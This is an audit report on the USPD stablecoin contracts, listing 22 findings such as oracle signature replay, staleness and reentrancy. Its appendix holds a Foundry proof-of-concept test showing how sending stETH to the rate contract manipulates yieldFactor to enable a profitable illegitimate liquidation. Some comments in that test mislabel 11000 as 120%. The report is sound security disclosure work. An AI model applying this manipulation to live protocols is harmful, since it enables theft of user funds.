RESONANCE

USPD

USPD Smart Contract Audit Report

Blockchain, Emerging Technology, and Web2
CYBERSECURITY PRODUCT & SERVICE ADVISORY

Document Control

PUBLIC	FINAL(v2.1)

Audit_Report_USPD-NFT_FINAL_21

Jun 19, 2025	v0.1	João Simões: Initial draft
Jun 19, 2025	v0.2	João Simões: Added findings
Jun 19, 2025	v0.3	Luis Arroyo: Added findings
Jun 20, 2025	v1.0	Charles Dray: Approved
Jun 26, 2025	v1.1	Luis Arroyo: Reviewed findings
Jun 27, 2025	v2.0	Charles Dray: Finalized
Aug 4, 2025	v2.1	Charles Dray: Published

Points of Contact	Thomas Wiesner	USPD	thomas@morpher.com
	Charles Dray	Resonance	charles@resonance.security
Testing Team	João Simões	Resonance	joao@resonance.security
	Michał Bazyli	Resonance	michal@resonance.security
	Luis Arroyo	Resonance	luis.arroyo@resonance.security

Copyright and Disclaimer

All activities performed by Resonance in connection with this project were carried out in accordance with the project statement of work and agreed-upon project plan. It's important to note that security assessments are time-limited and may depend on information provided by the client, its affiliates, or partners. As such, the findings documented in this report should not be considered a comprehensive list of all security issues, flaws, or defects in the target system or codebase.

Furthermore, it is hereby assumed that all of the risks in electing not to remedy the security issues identified henceforth are sole responsibility of the respective client. The acknowledgement and understanding of the risks which may arise due to failure to remedy the described security issues, waives and releases any claims against Resonance, now known or hereafter known, on account of damage or financial loss.

Contents

Executive Summary

USPD contracted the services of Resonance to conduct a comprehensive security audit of their smart contracts between June 10, 2025 and June 20, 2025. The primary objective of the assessment was to identify any potential security vulnerabilities and ensure the correct functioning of smart contract operations.

During the engagement, Resonance allocated 3 engineers to perform the security review. The engineers, including an accomplished professional with extensive proficiency in blockchain and smart-contract security, encompassing specialized skills in advanced penetration testing, and in-depth knowledge of multiple blockchain protocols, devoted 10 days to the project. The project's test targets, overview, and coverage details are available throughout the next sections of the report.

The ultimate goal of the audit was to provide USPD with a detailed summary of the findings, including any identified vulnerabilities, and recommendations to mitigate any discovered risks. The results of the audit are presented in detail further below.

System Overview

USPD is an ERC20-compliant USD-pegged stablecoin designed for stability and reliability in the DeFi ecosystem. It implements a unique stabilizer-based overcollateralization system using NFTs. Users can mint USPD by depositing supported collateral assets (e.g., ETH) at the current USD exchange rate. The system is secured by stabilizers who provide additional collateral through NFT-based positions, ensuring the protocol maintains a healthy overcollateralization ratio. This stabilizer-backed system helps maintain the token's stability at a 1:1 peg to the USD and protects against market volatility.

Repository Coverage and Quality

Code	Tests	Documentation
7 / 10	9 / 10	9 / 10

Resonance's testing team has assessed the Code, Tests, and Documentation coverage and quality of the system and achieved the following results:

- The code follows development best practices and makes use of some known patterns, standard libraries, and language guides. It is easily readable and uses the latest stable version of relevant components. Overall, **code quality is good**.
- Unit and integration tests are included. The tests cover both technical and functional requirements. Code coverage is 96%. Overall, **tests coverage and quality is excellent**.

- The documentation includes the specification of the system, technical details for the code, relevant explanations of workflows and interactions. Overall, **documentation coverage and quality is excellent**.

Target

The objective of this project is to conduct a comprehensive review and security analysis of the smart contracts that are contained within the specified repository.

The following items are included as targets of the security assessment:

- Repository: `Morpher-io/uspd_website`
- Hash: 3e3739c049f959e232774db6687a6d9a77b0c485

The following items are excluded:

- External and standard libraries
- Files pertaining to the deployment process
- Financial related attacks

Methodology

In the context of security audits, Resonance's primary objective is to portray the workflow of a real-world cyber attack against an entity or organization, and document in a report the findings, vulnerabilities, and techniques used by malicious actors. While several approaches can be taken into consideration during the assessment, Resonance's core value comes from the ability to correlate automated and manual analysis of system components and reach a comprehensive understanding and awareness with the customer on security-related issues.

Resonance implements several and extensive verifications based off industry's standards, such as, identification and exploitation of security vulnerabilities both public and proprietary, static and dynamic testing of relevant workflows, adherence and knowledge of security best practices, assurance of system specifications and requirements, and more. Resonance's approach is therefore consistent, credible and essential, for customers to maintain a low degree of risk exposure.

Ultimately, product owners are able to analyze the audit from the perspective of a malicious actor and distinguish where, how, and why security gaps exist in their assets, and mitigate them in a timely fashion.

Source Code Review - Solidity EVM

During source code reviews for Web3 assets, Resonance includes a specific methodology that better attempts to effectively test the system in check:

1. Review specifications, documentation, and functionalities
2. Assert functionalities work as intended and specified
3. Deploy system in test environment and execute deployment processes and tests
4. Perform automated code review with public and proprietary tools
5. Perform manual code review with several experienced engineers
6. Attempt to discover and exploit security-related findings
7. Examine code quality and adherence to development and security best practices
8. Specify concise recommendations and action items
9. Revise mitigating efforts and validate the security of the system

Additionally and specifically for Solidity EVM audits, the following attack scenarios and tests are recreated by Resonance to guarantee the most thorough coverage of the codebase:

- Reentrancy attacks
- Frontrunning attacks
- Unsafe external calls
- Unsafe third party integrations
- Denial of service
- Access control issues

- Inaccurate business logic implementations
- Incorrect gas usage
- Arithmetic issues
- Unsafe callbacks
- Timestamp dependence
- Mishandled panics, errors and exceptions

Severity Rating

Security findings identified by Resonance are rated based on a Severity Rating which is, in turn, calculated off the **impact** and **likelihood** of a related security incident taking place. This rating provides a way to capture the principal characteristics of a finding in these two categories and produce a score reflecting its severity. The score can then be translated into a qualitative representation to help customers properly assess and prioritize their vulnerability management processes.

The **impact** of a finding can be categorized in the following levels:

1. Weak - Inconsequential or minimal damage or loss
2. Medium - Temporary or partial damage or loss
3. Strong - Significant or unrecoverable damage or loss

The **likelihood** of a finding can be categorized in the following levels:

1. Unlikely - Requires substantial knowledge or effort or uncontrollable conditions
2. Likely - Requires technical knowledge or no special conditions
3. Very Likely - Requires trivial knowledge or effort or no conditions

			Likelihood	
		Very Likely	Likely	Unlikely
Impact	Strong	Critical	High	Medium
	Medium	High	Medium	Low
	Weak	Medium	Low	Info

Repository Coverage and Quality Rating

The assessment of Code, Tests, and Documentation coverage and quality is one of many goals of Resonance to maintain a high-level of accountability and excellence in building the Web3 industry. In Resonance it is believed to be paramount that builders start off with a good supporting base, not only development-wise, but also with the different security aspects in mind. A product, well thought out and built right from the start, is inherently a more secure product, and has the potential to be a game-changer for Web3's new generation of blockchains, smart contracts, and dApps.

Accordingly, Resonance implements the evaluation of the code, the tests, and the documentation on a score **from 1 to 10** (1 being the lowest and 10 being the highest) to assess their quality and coverage. In more detail:

- Code should follow development best practices, including usage of known patterns, standard libraries, and language guides. It should be easily readable throughout its structure, completed with relevant comments, and make use of the latest stable version components, which most of the times are naturally more secure.
- Tests should always be included to assess both technical and functional requirements of the system. Unit testing alone does not provide sufficient knowledge about the correct functioning of the code. Integration tests are often where most security issues are found, and should always be included. Furthermore, the tests should cover the entirety of the codebase, making sure no line of code is left unchecked.
- Documentation should provide sufficient knowledge for the users of the system. It is useful for developers and power-users to understand the technical and specification details behind each section of the code, as well as, regular users who need to discern the different functional workflows to interact with the system.

Findings

During the security audit, several findings were identified to possess a certain degree of security-related weaknesses. These findings, represented by unique IDs, are detailed in this section with relevant information including Severity, Category, Status, Code Section, Description, and Recommendation. Further extensive information may be included in corresponding appendices should it be required.

An overview of all the identified findings is outlined in the table below, where they are sorted by Severity and include a **Remediation Priority** metric asserted by Resonance's Testing Team. This metric characterizes findings as follows:

- **"Quick Win"** Requires little work for a high impact on risk reduction.
- **"Standard Fix"** Requires an average amount of work to fully reduce the risk.
- **"Heavy Project"** Requires extensive work for a low impact on risk reduction.

RES-01	yieldFactor Could Be Manipulated By Sending stETH To rateContract	Resolved
RES-02	Unprotected receive() Sink	Resolved
RES-03	Outdated priceQuery Signature May Be Reused	Resolved
RES-04	Staleness Between Chainlink, Morpher And Uniswap Is Not The Same	Resolved
RES-05	Centrallization Risk On cUSPD	Acknowledged
RES-06	Missing Validation Of assetPair	Resolved
RES-07	Missing Zero Address Validations	Acknowledged
RES-08	Slashing On Ethereum Prevents Correct Update On L2	Resolved
RES-09	Missing Zero Value Validations On transfer() And transferFrom()	Resolved
RES-10	No Min Or Max Values For maxPriceDeviation And priceStalenessPeriod	Resolved
RES-11	Chainlink Price Feeds Are Not Validated	Resolved
RES-12	Chainlink Sequencer Status Is Not Checked	Acknowledged
RES-13	Minting stabilizerNFT Tokens Could Be Frontrun	Acknowledged

RES-14	Floating Pragma	Resolved
RES-15	Use Of Outdated Ether Transfer Method	Resolved
RES-16	Usage Of Hardcoded Address	Resolved
RES-17	Unused Variable maxDeviationPercentage	Resolved
RES-18	Redundant Pausable Code In attestationService()	Resolved
RES-19	Unused Functions	Resolved
RES-20	Unnecessary Initialization Of Variables With Default Values	Resolved
RES-21	Reentrancy In mint()	Resolved
RES-22	Redundant Code Throughout The Protocol	Acknowledged

yieldFactor Could Be Manipulated By Sending stETH To rateContract

Critical **RES-USPD-NFT01** Access Control **Resolved**

Code Section

- PoolSharesConversionRate.sol#L129

Description

The `yieldFactor` is being used for minting shares, establishing prices and liquidate positions. This factor is obtained using the formula

```
uint256 currentBalance = IERC20(stETH).balanceOf(address(this));
```

which can be manipulated by users by sending stETH to the contract. Doing this increases the yield factor and may affect different parts of the protocol. In the mentioned PoC, a user that should not be able to liquidate, liquidates a position and obtain profit of it.

Recommendation

It is recommended to implement an internal balance of stETH to avoid manipulation from other users.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Unprotected receive() Sink

Medium **RES-USPD-NFT02** Business Logic **Resolved**

Code Section

- `StabilizerEscrow.sol#L167`

Description

The `StabilizerEscrow` contract is implementing a `receive()` function. This indicates that this contract can successfully receive a native balance transfer. However, the fact that this `receive()` implementation is actually empty makes such transfers be out-of-flow. Such transfers can lead to vulnerabilities related to the accounting in the extreme cases. However, they also can cause an inherent loss for any legitimate user who was tricked or made a genuine mistake. Such transfers will not be accounted for accordingly by the contracts so users will lose their native tokens without being able to use the protocol.

Recommendation

It is recommended to remove the unnecessary `receive()` function.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Outdated priceQuery Signature May Be Reused

Medium **RES-USPD-NFT03** Data Validation **Resolved**

Code Section

- PriceOracle.sol#L172

Description

The attestationService() function verifies the signer of the price and then checks the staleness and deviation. If new priceQueries are generated in the same time frame, the older prices are not blocked and may be still used by users to obtain the best conversion rate instead of the actual latest price.

Recommendation

It is recommended to implement a signature verification that includes a security measure (i.e. a nonce) to avoid replaying old signatures.

Status

The issue has been fixed in ba15cf2dbf4d32d5c9687f574caa743e200a2aed.

Staleness Between Chainlink, Morpher And Uniswap Is Not The Same

Medium **RES-USPD-NFT04** Data Validation **Resolved**

Code Section

- `PriceOracle.sol#L198`

Description

During price validation, only `priceStalenessPeriod` is being used to check if a price is stale or not. If this value is high enough, prices obtained from other oracles may be stale and the protocol will still accept them.

Recommendation

It is recommended to revise the staleness check implementation and possibly include a different staleness check for each oracle.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Centrallization Risk On cUSPD

Low | **RES-USPD-NFT05** | Governance | **Acknowledged**

Code Section

- `cUSPDToken.sol#L245-L247`
- `cUSPDToken.sol#L254-L256`

Description

The smart contract contains several functions access controlled by administrative users with privileged rights in charge of performing admin tasks such as minting and burning tokens. These users need to be trusted not to perform malicious updates on the contract.

Recommendation

It is recommended to remove the functionality entirely or implement solutions like a multi-signature wallet to distribute admin control among multiple trusted parties. This ensures that critical actions can only be executed if a predefined quorum of trusted parties approves the action, reducing the risk of unilateral decisions or key compromise.

Another possible solution is to implement a decentralized party that handles administrative functions, for example with the implementation of DAO solutions.

Status

The issue was acknowledged by USPD's team. The development team stated "The comment is true, we tried to make it more explicit that the minter/burner role actually only applies to the bridgeEscrow and minting only applies to L2 chains.".

Missing Validation Of assetPair

Low **RES-USPD-NFT06** Data Validation **Resolved**

Code Section

- PriceOracle.sol#L171-L241

Description

The function `attestationService()` does not validate the input variable `priceQuery.assetPair` against the expected asset pair for correct oracle functioning, ETH/USDC. Under specific circumstances where the signature may be forged, without proper validations of the `assetPair` variable, the function `attestationService()` may run successfully while all implemented validations are bypassed, possibly resulting in incorrect oracle price matching.

Recommendation

It is recommended to implement validations on the variable `assetPair` to ensure that, even if the signature is valid, the asset pair matches the ones being queried by both Chainlink and Uniswap.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Missing Zero Address Validations

Low | **RES-USPD-NFT07** | Data Validation | **Acknowledged**

Code Section

- `PoolSharesConversionRate.sol#L87`
- `PriceOracle.sol#L86-L87`
- `PriceOracle.sol#L92-L94`
- `StabilizerNFT.sol#L188-L194`
- `StabilizerNFT.sol#L203-L204`

Description

Throughout the protocol there are multiple instances where input parameters are not being validated against the Zero Address, most of which are used to perform external calls, allowing for undefined behavior within the protocol.

It should be noted that although this occurs mostly in the constructor, mistakes can be made by the deployer of the smart contracts, allowing for unwanted transactions to take place in the future.

Recommendation

It is recommended to perform a validation against the Zero Address to ensure proper variable values and external calls are handled properly and successfully.

Status

The issue was acknowledged by USPD's team. The development team stated "It should be noted however, that we're holding off testing this in the StabilizerNFT since we're about 6 bytes off the contract size limit.".

Slashing On Ethereum Prevents Correct Update On L2

Low | **RES-USPD-NFT08** | Business Logic | **Resolved**

Code Section

- `PoolSharesConversionRate.sol#L144-L154`

Description

During a slashing or catastrophic validator failure from Lido on Ethereum, the total pooled ETH may decrease due to penalties and everyone's stETH balance decreases proportionally. While each staker's share count remains the same, the value backing each share is lower.

The function `updateL2YieldFactor()` is used to update bridged tokens yield factor. This function however, does not allow the `newYieldFactor` to be less than the current yield factor, which means that it does not account for slashing occurrences.

While these occurrences are extremely unlikely, they are possible, and may ultimately result in loss of funds to the protocol or its users.

Recommendation

It is recommended to implement validations that account for slashing occurrences on the L1.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Missing Zero Value Validations On transfer() And transferFrom()

Low | **RES-USPD-NFT09** | Data Validation | **Resolved**

Code Section

- `UspdToken.sol#L151-L159`
- `UspdToken.sol#L175-L188`

Description

The functions `transfer()` and `transferFrom()` do not validate the input parameter `uspdAmount` against the Zero Value, allowing for users to set this parameter as `0` and waste gas on unnecessary transactions.

Recommendation

It is recommended to perform a validation against the Zero Value to ensure all interactions with the variable return proper and successful results, while maintaining low gas costs.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

No Min Or Max Values For maxPriceDeviation And priceStalenessPeriod

Low **RES-USPD-NFT10** Data Validation **Resolved**

Code Section

- `PriceOracle.sol#L89-90`

Description

There is no upper or lower limits when setting `maxPriceDeviation` or `priceStalenessPeriod`. This may cause a bad user experience and protocol usage in price changes if they are not set between reasonable values.

Recommendation

It is recommended to limit the values that privileged roles may set for the mentioned parameters.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Chainlink Price Feeds Are Not Validated

Low | **RES-USPD-NFT11** | Data Validation | **Resolved**

Code Section

- `PriceOracle.sol#L145`

Description

Chainlink's `latestRoundData` function returns the latest price information from a specific oracle feed. However, not validating these prices could be dangerous, particularly if they are used in further arithmetic operations. If the price is 0 or negative, and it is involved in calculations with unsigned integers (uint), it can cause underflows. Underflows with uint can cause the value to wrap around to a very large number (due to uint's inability to represent negative numbers), resulting in unexpected and potentially catastrophic outcomes in the contract logic.

Recommendation

To avoid this scenario, it is recommended to always validate oracle prices to ensure they are positive, non-zero, and within expected bounds before using them in any arithmetic operations.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Chainlink Sequencer Status Is Not Checked

Low | RES-USPD-NFT12 | Data Validation | **Acknowledged**

Code Section

- `PriceOracle.sol#L145`

Description

The Chainlink network uses a technology called Sequencers in their Off-Chain Reporting protocol. Sequencers help in improving data transmission efficiency by enabling transaction aggregation and submitting data on-chain in batches.

It is crucial for the protocol to verify the status of the Chainlink sequencer involved. Not checking the sequencer's status might lead to scenarios where the protocol is working with outdated, inaccurate, or even completely missing data. This could potentially lead to incorrect operation of the contracts or even financial loss, depending on the role of the oracle data.

Recommendation

The resolution would involve implementing appropriate checks to ensure that the Chainlink sequencer is up-to-date and working correctly before the oracle data is used. This can involve listening for specific events emitted by the Chainlink network, or periodically checking the status of the sequencer as a part of the smart contract operation. Implementing such checks increases the reliability and security of the smart contract.

Status

The issue was acknowledged by USPD's team. The development team stated "We're using chainlink on-chain price feeds only on L1.".

Minting stabilizerNFT Tokens Could Be Frontrun

Low | **RES-USPD-NFT13** | Business Logic | **Acknowledged**

Code Section

- `StabilizerNFT.sol#L239`

Description

The protocol provides first minter a 125% threshold to liquidate other positions and then this benefit decreases by a 5% until the default 110%. As there is no access control on the minting process, this function can be frontrun by other users to obtain an advantageous position.

Recommendation

It is recommended to implement a controlled access for minting tokens (i.e. off-chain queue, bids, etc) in order to avoid a bad user experience when trying to become a stabilizer.

Status

The issue was acknowledged by USPD's team. The development team stated "This is (unfortunately) intentional by design: For regulatory reasons we have to make the minting permissionless, which also means, it could be frontrun.".

Floating Pragma

Info **RES-USPD-NFT14** Code Quality **Resolved**

Code Section

- Not specified.

Description

The project uses floating pragmas `^0.8.20`.

This may result in the contracts being deployed using the wrong pragma version, which is different from the one they were tested with. For example, they might be deployed using an outdated pragma version which may include bugs that affect the system negatively.

Recommendation

It is recommended to use a strict and locked pragma version for solidity code. Preferably, the version should be neither too new or too old.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Use Of Outdated Ether Transfer Method

Info **RES-USPD-NFT15** Code Quality **Resolved**

Code Section

- cUSPDToken.sol#L151
- StabilizerNFT.sol#L632
- UspdToken.sol#L113

Description

The smart contracts make use of the outdated Ether `transfer()` function.

In Solidity, `send`, `transfer`, and `call` are methods for transferring Ether, each with distinct characteristics and use cases. While `send` and `transfer` were commonly used in the past, `call` has become the preferred method due to its versatility, dynamic gas handling, and adaptability to Ethereum's evolving network conditions. While `call` is vulnerable to reentrancy attacks, it can be easily mitigated by employing the "Checks-Effects-Interactions" development pattern and making use of reentrancy guard modifiers.

Recommendation

It is recommended to implement Ether transfers using the `call()` method in favor of less versatile options, such as `send()` and `transfer()`, that may hinder present and future composability due to gas restrictions.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Usage Of Hardcoded Address

Info | **RES-USPD-NFT16** | Code Quality | **Resolved**

Code Section

- PriceOracle.sol#L116-L118

Description

The smart contract makes use of hardcoded addresses. This development practice should be avoided. Hardcoded addresses should be declared as immutable instead, and assigned via constructor arguments. This allows the code to remain the same across deployments on different networks. This flexibility is also especially important when dealing with contracts that need to interact with multiple external contracts or when the address of an external contract needs to change.

Recommendation

It is recommended to declare hardcoded addresses as immutable variables and assign them via constructor arguments.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Unused Variable maxDeviationPercentage

Info | **RES-USPD-NFT17** | Gas Optimization | **Resolved**

Code Section

- `PriceOracle.sol#L40`

Description

The following variables were found to be unused within the system:

- `maxDeviationPercentage`

Unused variables increase the complexity and readability of the smart contract's code and their inclusion should be discouraged whenever possible.

Recommendation

It is recommended to remove unused variables from production-ready code.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Redundant Pausable Code In attestationService()

Info | **RES-USPD-NFT18** | Code Quality | **Resolved**

Code Section

- `PriceOracle.sol#L175-L177`

Description

The function `attestationService()` makes use of code that is already implemented within OpenZeppelin's library `PausableUpgradeable`, therefore resulting in the use of redundant code that may increase gas costs, as well as deteriorate code readability and composability,

Recommendation

It is recommended to remove redundant code to improve code readability and composability. In this case specifically, for custom error messages, the function `_requireNotPaused()` should be overridden.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Unused Functions

Info | **RES-USPD-NFT19** | Code Quality | **Resolved**

Code Section

- `PositionEscrow.sol#L89-L97`

Description

The following functions were found to be unused within the system:

- `addCollateral()`

Unused functions increase the complexity and readability of the smart contract's code and their inclusion should be discouraged whenever possible.

Recommendation

It is recommended to remove unused functionalities from production-ready code.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Unnecessary Initialization Of Variables With Default Values

Info	RES-USPD-NFT20	Code Quality	Resolved

Code Section

- `cUSPDToken.sol#L131-L133`
- `OvercollateralizationReporter.sol#L81`
- `OvercollateralizationReporter.sol#L108`
- `PoolSharesConversionRate.sol#L107-L108`
- `PositionEscrow.sol#L72`
- `PositionEscrow.sol#L114`
- `PositionEscrow.sol#L140`
- `PositionEscrow.sol#L331`
- `StabilizerNFT.sol#L382-L383`
- `StabilizerNFT.sol#L519-L520`
- `StabilizerNFT.sol#L807`
- `StabilizerNFT.sol#L870-L871`

Description

In the Solidity programming language, all variables are automatically initialized to a default value corresponding to their type when they are declared. For example, integer types are initialized to `0`, boolean types to `false`, and address types to `0x0000000000000000000000000000000000000000`. Explicitly initializing variables to these default values when they are declared is therefore redundant, and since each operation in a contract costs gas, it results in unnecessary gas costs. This could potentially impact the contract's efficiency and the cost of executing its functions.

Several instances of this issue are found across the code base.

Recommendation

It is recommended to review the smart contract's code for variable declarations where variable are being explicitly initialized to the type's default value.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Reentrancy In mint()

Info | **RES-USPD-NFT21** | Business Logic | **Resolved**

Code Section

- `StabilizerNFT.sol#L255`

Description

The function `mint()` indirectly performs an arbitrary external call through ERC721's `_safeMint()`, and does not follow the Checks-Effects-Interactions pattern nor does it implement verification mechanisms against reentrancy, such as OpenZeppelin's `ReentrancyGuard`.

While it does not present an immediate security threat as it is, when further functionality is introduced, possible reentrancy scenarios may occur that may ultimately lead to financial loss on the protocol.

Recommendation

It is recommended to follow the Checks-Effects-Interactions coding pattern for all functions that inherently perform arbitrary external calls, while also implementing reentrancy verification mechanisms.

Status

The issue has been fixed in 603f2275598bfa55041d300f1498da871f711524.

Redundant Code Throughout The Protocol

Info **RES-USPD-NFT22** Gas Optimization **Acknowledged**

Code Section

- `cUSPDToken.sol#L102-L154`
- `cUSPDToken.sol#L192`
- `OvercollateralizationReporter.sol#L203`
- `StabilizerNFT.sol#L240`
- `StabilizerNFT.sol#L260`
- `StabilizerNFT.sol#L277`
- `StabilizerNFT.sol#L327`
- `UspdToken.sol#L101-L116`
- `UspdToken.sol#L106`
- `UspdToken.sol#L126`
- `UspdToken.sol#L137`

Description

It was observed that throughout the protocol there are multiple instances of redundant code on several accounts:

- Invariant testing within the source code. Invariant testing should be done mostly within test files;
- Variables and values related to testing environments;
- Redundant functions, e.g. `mint()` and `mintShares()`;

These design patterns increase code complexity and do not maximize transaction gas and storage efficiency on the blockchain.

Recommendation

It is recommended to revise code reusability development patterns throughout the protocol, not only to improve readability, but also to maximize gas and storage efficiency on the blockchain. For the specific case of invariant testing, the usage of the function `assert()` is recommended to differentiate coding patterns of both invariant and valid variable conditions checking.

Status

The issue was acknowledged by USPD's team. The development team stated "We acknowledge the redundant code for some parts of the contracts. Some were there because no all contracts are deployed at the same time to prevent inconsistencies.".

RES-01 yieldFactor Could Be Manipulated By Sending stETH To rateContract

StabilizerNFT.t.sol (added lines):

```
function testLiquidation_PrivilegedVsDefaultThreshold() public {
    // --- Test Constants (Inlined) ---
    // uint256 positionToLiquidateTokenId = 2; // Changed from 1
    // uint256 privilegedLiquidatorNFTId = 1; // For 125% threshold
    // uint256 collateralRatioToSet = 12000; // 120% (Liquidatable by 125%, not by
↪   110%)

    // --- Setup Position to be Liquidated (owned by user1) ---
    uint256 positionToLiquidateTokenId = stabilizerNFT.mint(user1);
    // Fund user1's stabilizer with exactly enough for their 1 ETH mint at 130%
↪   ratio (0.3 ETH)
    vm.deal(user1, 0.3 ether);
    vm.prank(user1);
    stabilizerNFT.addUnallocatedFundsEth{value: 0.3
↪   ether}(positionToLiquidateTokenId);
    vm.prank(user1);
    stabilizerNFT.setMinCollateralizationRatio(positionToLiquidateTokenId, 13000);
↪   // Set its min ratio (e.g., 130%)

    // Allocate to user1's position
    IPriceOracle.PriceAttestationQuery memory priceQuery =
↪   createSignedPriceAttestation(2000 ether, block.timestamp);
    vm.deal(owner, 1 ether); // Minter needs ETH (ethForUser1Position inlined)
    vm.prank(owner);
    cuspdToken.mintShares{value: 1 ether}(user1, priceQuery); // Mint shares,
↪   allocating to user1's stabilizer (ethForUser1Position inlined)

    IPositionEscrow positionEscrow =
↪   IPositionEscrow(stabilizerNFT.positionEscrows(positionToLiquidateTokenId));
    uint256 initialCollateral = positionEscrow.getCurrentStEthBalance();
    uint256 initialShares = positionEscrow.backedPoolShares(); // These are the
↪   shares user1 effectively "owes"

    // --- Setup a separate stabilizer to back the liquidator's shares ---#
    uint256 liquidatorBackingStabilizerId = stabilizerNFT.mint(user3); // Mint to
↪   user3
    vm.deal(user3, 2 ether); // Fund user3 for this stabilizer
    vm.prank(user3);
    stabilizerNFT.addUnallocatedFundsEth{value: 1
↪   ether}(liquidatorBackingStabilizerId);
    vm.prank(user3);
    stabilizerNFT.setMinCollateralizationRatio(liquidatorBackingStabilizerId,
↪   14000); // 140% ratio to rise total system collateralization ratio

    // --- Setup Liquidator (user2) and mint their cUSPD legitimately ---
```

```
    uint256 sharesToLiquidate = initialShares; // Liquidator will attempt to liquidate all shares of the target position

    // Deal ETH to user2 for minting + gas (ethNeededForLiquidatorShares inlined)
    vm.deal(user2, ((sharesToLiquidate * 1 ether) / (2000 ether)) + 0.1 ether);
    vm.prank(user2); // user2 mints their own cUSPD
    cuspdToken.mintShares{value: (sharesToLiquidate * 1 ether) / (2000 ether)}(user2, priceQuery);
    // Now user2 has 'sharesToLiquidate' cUSPD, backed by liquidatorBackingStabilizerId

    vm.startPrank(user2);
    cuspdToken.approve(address(stabilizerNFT), sharesToLiquidate); // user2 approves StabilizerNFT
    vm.stopPrank();

    // --- Simulate ETH Price Drop to achieve 120% Collateral Ratio for the Target Position ---
    // initialCollateral (stETH) and initialShares (cUSPD) are fixed.
    // We need to find newPrice such that: (initialCollateral * newPrice) / initialShares_USD_value = 1.20
    // initialShares_USD_value = (initialShares * rateContract.getYieldFactor()) / FACTOR_PRECISION (assuming 1 share = $1 at yieldFactor=1)
    uint256 initialSharesUSDValue = (initialShares * rateContract.getYieldFactor()) / stabilizerNFT.FACTOR_PRECISION();
    uint256 targetRatioScaled = 11000; // 120%

    // newPrice = (targetRatioScaled * initialSharesUSDValue) / (initialCollateral * 10000)
    // Ensure price has 18 decimals for consistency with other price representations
    // Add 1 wei to the price to counteract potential truncation issues leading to an off-by-one in the ratio calculation.
    uint256 priceForLiquidationTest = ((targetRatioScaled * initialSharesUSDValue * (10**18)) / (initialCollateral * 10000)) + 1;

    // Create a new priceQuery for the liquidation attempts using the lower price
    IPriceOracle.PriceAttestationQuery memory priceQueryLiquidation = createSignedPriceAttestation(priceForLiquidationTest, block.timestamp);

    // Verify the new ratio is indeed 120% with the new price
    assertEq(positionEscrow.getCollateralizationRatio(
        IPriceOracle.PriceResponse(priceForLiquidationTest, 18, block.timestamp * 1000)
    ), targetRatioScaled, "Collateral ratio not 120% with new price");

    vm.expectRevert("Position not below liquidation threshold");
    vm.prank(user2);
    stabilizerNFT.liquidatePosition(0, positionToLiquidateTokenId, sharesToLiquidate, priceQueryLiquidation);
    console.log("user2 balance: ", mockStETH.balanceOf(user2));
    mockStETH.mint(address(rateContract), 1 ether); //now ratio is manipulated
```

```
    vm.prank(user2);
    stabilizerNFT.liquidatePosition(0, positionToLiquidateTokenId,
 ↪  sharesToLiquidate, priceQueryLiquidation);
    console.log("user2 balance: ", mockStETH.balanceOf(user2));
}
```